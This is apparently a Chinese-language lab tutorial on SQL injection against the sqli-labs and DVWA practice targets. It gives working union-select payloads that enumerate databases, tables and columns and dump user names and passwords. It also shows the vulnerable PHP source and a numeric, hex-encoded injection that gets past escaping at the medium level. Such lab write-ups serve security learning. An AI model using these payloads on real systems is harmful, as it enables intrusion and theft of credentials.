以sqli-labs-master作为练习
初始:简单获取基础内容
第一步,使用拼接的方式决定注入类型
第二步,使用order by确定有表单有几列值
order by根据指定的列对结果集进行排序
在这里插入图片描述
第三步,使用union select 来找到内容,获取想要得到内容
union select :联合查询
进阶,通过mysql注入获取表单内容,拖库;
第一步:通过数据库语句进行搜索,首先确定数据库
第二步:确定数据库后,爆出它的表;
第三步:确定表以后,可根据实际需求爆表,这里以users举例,进行爆字段
第四步:确定字段后,我们就可以拖库;
DVWA训练基础 low级别
1.参照上文确定当前库
1' union select (select database()),2 -- -
2.确定库后,爆表
1' union select (select group_concat(table_name) from information_schema.tables where table_schema = 'dvwa'),2 -- -
3.确定表后,爆字段
1' union select (select group_concat(column_name) from information_schema.columns where table_schema = 'dvwa' and table_name='users'),2 -- -
4.确定字段后,进行拖库
1' union select (select group_concat(concat_ws(0x7e,user,password))from users),2 -- -
DVWA训练基础 Medium级别
1.这个级别我们可以看出,这是通过一个下拉表的方式提交数据的
2.提交一个数据后发现URL:http://localhost/DVWA-1.9/vulnerabilities/sqli/#,所以不是get型注入,应该是把提交的数据存放到post数据中了,用hackbar试一下
3.添加注入语句,添加post数据如下:
4.使用burp suite,执行“爆表”代码时却报错了;
id=3 union select1,table_name from information_schema.tables wheretable_name='dvwa'#&Submit=Submit
5.Low版本的就可以注入,中等的就不可以注入了,这是为什么呢?打开源码看一下:
Medium SQL Injection Source
<?php
if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$id = $_POST[ 'id' ];
$id = mysql_real_escape_string($id );
// Check database
$query = "SELECT first_name,last_name FROM users WHERE user_id = $id;";
$result = mysql_query( $query ) or die( '<pre>' . mysql_error() .'</pre>' );
// Get results
$num = mysql_numrows( $result );
$i = 0;
while( $i < $num ) {
// Display values
$first = mysql_result( $result, $i, "first_name" );
$last = mysql_result( $result,$i, "last_name" );
// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br/>Surname: {$last}</pre>";
// Increase loop count
$i++;
}
//mysql_close();
}
?>
发现有这样的一句话:
$id = mysql_real_escape_string($id );
这句话是干什么用的呢?百度了一下知道
mysql_real_escape_string函数是实现转义 SQL 语句字符串中的特殊字符,如输入单引号’则处理时会在其前面加上右斜杠\来进行转义,如果语句错误则输出相应的错误信息。其中受影响的字符如下:
\x00 \n \r \ ’ " \x1a
换注入方式 只要不用 ’ 就行
6.使用下面代码进行注入;
id=-0 union select 1,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=0x7573657273) &Submit=Submit